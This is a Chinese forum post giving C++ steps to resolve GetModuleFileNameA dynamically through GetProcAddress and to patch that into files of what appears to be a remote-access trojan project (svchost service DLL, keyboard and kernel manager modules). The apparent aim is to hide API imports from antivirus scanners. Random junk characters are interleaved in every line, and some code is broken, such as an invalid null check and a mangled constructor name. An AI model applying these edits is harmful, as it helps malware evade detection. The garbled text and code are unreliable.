[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记
( a7 Z! o  s9 s7 v# q5 A9 G9 Dsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：/ \) D8 w( x- U+ o$ v/ ]- q# m
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#if _MSC_VER>1000; X7 a3 h  B6 e2 q. t" l
#pragma once
% [, m4 B& N, _# r9 p) B% c#endif //_MSC_VER>1000
0 @9 }, L" K$ ?- E; W#include<windows.h>
; l7 B& {% J7 X- L. L/ e
! y( L+ K  ]/ C8 o. l2 o1 \+ [8 r' Wtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);- a  {& a0 ~; c  _5 {5 t& V
class DTDY
7 U1 [! G, e1 V8 E. {8 q, \{
0 j/ H& ^7 X/ Q6 `public:
% t/ S. O% f8 K. ?3 _  j- b* R. @DTDY();. E3 @% |0 c! X* f
virtual ~DTDY();( C: v3 G" f& Y9 X
public:
- u9 B+ Y$ R5 P& \  X3 T# I2 cstatic pGetModuleFileNameA MyGetModuleFileName;
/ s: G+ @+ n/ y9 o1 r2 J: C& C9 tstatic BOOL FunInitiallization();, ^1 a7 ?! E: M0 M2 ^! N
};! ]' F! X! K" m" E' A
#endif7 J! D" }8 e, Z7 I
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1 [5 Q6 q3 J3 t$ k& B! MDTDY.cpp:
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3 _: N8 ~7 U- {9 T  F! [$ p) [! `, p, ~#include "DTDY.h"
+ k, ~" R6 V  D6 k$ ?. s! I$ wpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;' g) x" U: W1 M9 |# q- ~$ W
DTDY:TDY()* g# U9 e; k4 n0 H+ w
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}
$ }4 G. E& a. ?' VDTDY::~DTDY()
  O) r9 U7 u$ S! d{
3 _7 @1 f3 y6 O0 U+ l}
9 j. y) o) E7 B2 r/ MBOOL DTDY::FunInitiallization()# g7 e/ u8 T. ]7 ^. c* C- E' }1 f' z
{" |1 |# v  b' I& }8 s
HMODULE hModule=LoadLibrary("kernel32.dll");
$ j- E6 U9 X# Y$ y* DMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
9 a, {5 M9 V; F& Xif(!MyGetModuleFileName=) return FALSE;( U5 i" ]+ F% P( T

, o3 W8 ]4 v4 f' _2 R5 rreturn TRUE;' `: D0 g0 s/ [+ u6 \" c
}# c! W  j- F+ t: P- _+ z
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9 _0 T6 d* M& zsvchost.cpp:
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#include "DTDY.h"
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; m2 v5 `. I8 m+ q% V9 n1 l1 aBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ T+ O# I& F" H, o7 `
{
2 Z, z: I, U% H4 r% N6 c0 Wswitch(ul_reason_for_call)
6 x1 P% i( `% }0 G6 Y{
: m2 _8 F* t# B( i* Ecase DLL_PROCESS_ATTACH:# i8 O2 i0 I& x7 h+ Y5 p
if(!DTDY::FunInitiallization()) return FALSE;
! ?3 }. z4 l9 t& h  y8 U$ E+ \' W  w' U8 j1 K& G. y0 k) r
break;
6 x% S# g  v. @% c. r2 G}
2 \" K  G; E6 Y! i}
* p. G  k0 [% L! k/ {
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 v, y: ]; `# ?9 V( [0 G改写为
2 T% p' W; o2 O6 F# ?8 l) f; r! IDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
5 i8 G3 T6 B; t5 T5 K! j----------------------------------------. c) ]; c. [4 f2 j. @" ]
KernelManager.cpp:: \6 q9 V7 h: ~

! x" m5 @* ]" l! P#include "../DTDY.h"
$ ^' [, u4 A# j/ \. `& d+ t) R6 cGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# R% I' U4 F$ Y) A$ s, S改写为
% F" V8 }$ W4 @& sDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
6 i6 N  @3 N5 y1 e% x----------------------------------------